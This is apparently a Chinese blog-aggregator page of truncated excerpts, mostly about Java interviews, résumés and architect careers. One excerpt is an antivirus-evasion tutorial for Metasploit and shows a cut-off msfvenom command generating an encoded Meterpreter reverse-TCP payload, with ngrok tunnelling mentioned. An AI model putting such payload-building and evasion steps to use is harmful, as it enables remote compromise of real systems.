一个资深java面试官的“面试心得”

java面试官如何面试别人

java面试官如何面试别人(一) java面试官的“面试心得” 在公司当技术面试官几年间,从应届生到工作十几年的应聘者都遇到过.先表达一下我自己对面试的观点: 1.笔试.面试去评价一个人肯定是不够准确的,了解一个人最准确的方式就是“路遥知马力,日久见人心”.通过一.二个小时内的做题.交流,只是没有其他办法下进行的无奈之举,所以通过了面…

在公司当技术面试官几年间,从应届生到工作十几年的应聘者都遇到过.先表达一下我自己对面试的观点: 1.笔试.面试去评价一个人肯定是不够准确的,了解一个人最准确的方式就是“路遥知马力,日久见人心”.通过一.二个小时内的做题.交流,只是没有其他办法下进行的无奈之举,所以通过了面试不代表有多成功,没通过也不代表有多失败.2.好的面试官本身交谈的时候就不应当把自己一个居高临下的角色上,应当把自己和应聘者当做两个做技术的人平等的交流,把自己当作权威往往就会受到观点的角度.语言表达.工作领域的惯性的制约.3.…

面试挂了阿里却拿到网易offer，一个三年Java程序员的面试总结！

前言 15年毕业到现在有三年多了,最近去面试了阿里集团(菜鸟网络,蚂蚁金服),网易,滴滴,点我达,最终收到点我达,网易offer,蚂蚁金服二面挂掉,菜鸟网络一个月了还在流程中... 最终有幸去了网易. 但是要特别感谢点我达的领导及HR,真的非常非常好,很感谢他们一直的关照和指导. 面试整体事项 1.简历要准备好,联系方式一定要正确清晰醒目,项目经历按照时间倒序阐述,注意描述自己在项目中承担的职责,简历的模板尽量选择简洁的,毕竟程序员大部分还是喜欢简单明了的.2.推荐boss直聘,我觉得很好用(不…

一位资深Java架构师的晋级心得

架构师是什么? 是一个既需要掌控整体又需要洞悉局部瓶颈并依据具体的业务场景给出解决方案的团队领导型人物.一个架构师得需要足够的想像力,能把各种目标需求进行不同维度的扩展,为目标客户提供更为全面的需求清单. 所谓架构师,思考的是全局的东西,是如何组织你的系统,以达到业务要求,性能要求,具备可扩展性(scalability),可拓展性(extendability),前后兼容性等.可能涉及到的东西包括了从硬件到软件的方方面面. 架构师的薪资怎么样呢? 下面一张图告诉大家架构师在软件开发的整个过程中起…

兄弟们，你们天天吊打面试官，面试官很难受啊。 metasploit免S客户端

metasploit生成的exe文件很小,但是免杀效果不行, 找了很多资料, 只有生成c语言shellcode,然后c#重新编译, 这种免杀效果,挺让人满意的首先需要生成客户端,客户端使用了ngrok内网穿透, 参考 :https://www.cnblogs.com/diligenceday/p/11009759.html root@kali:~/Desktop/sunny# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_…

[Java面经] 关于面试的二三事.

今天终于闲下来了, 那么也好总结下这几天面试的经历.四天的时间一共面了七家, 有一家是自己推迟了没有去.声明:如若转载请注明出处:http://www.cnblogs.com/wang-meng/p/5895787.html因为我之前的博文我发现很多被转载都是没有出处的, 直接复制粘贴就变成了他们的产物.. 先总结下这么几次面试下来的感受: 1, 先了解市场行情,给出自己的市场定位了解你所找工作的一些市场行情, 这样你就知道自己的一个水平是可以拿到一个什么价位了.因为基本上每家公司都会提前对你…

（java web后端方向）如何让你的简历为你争取到更多的面试机会,内容来自java web轻量级开发面试教程

我们在做培训时,会发现一个不合理的情况,一些程序员能力不错,在公司里也是技术牛人,但发出去的简历往往会石沉大海,没有回复.对于刚毕业的大学生或工作年限在2年之内的程序员,这个情况会更严重. 这种情况下,其实不是你的能力有问题,而是简历筛选人(往往是人事或技术面试官)无法从简历上看出你很牛,或者即使能从简历上感觉到你能力很强,但会感觉到你的能力和公司的需求不匹配.不管是哪种情况,结果都一个,你甚至得不到技术面试的机会. 笔者在这里,将根据面试多个候选人(至今有100以上)的经验,来向大家展示准备简…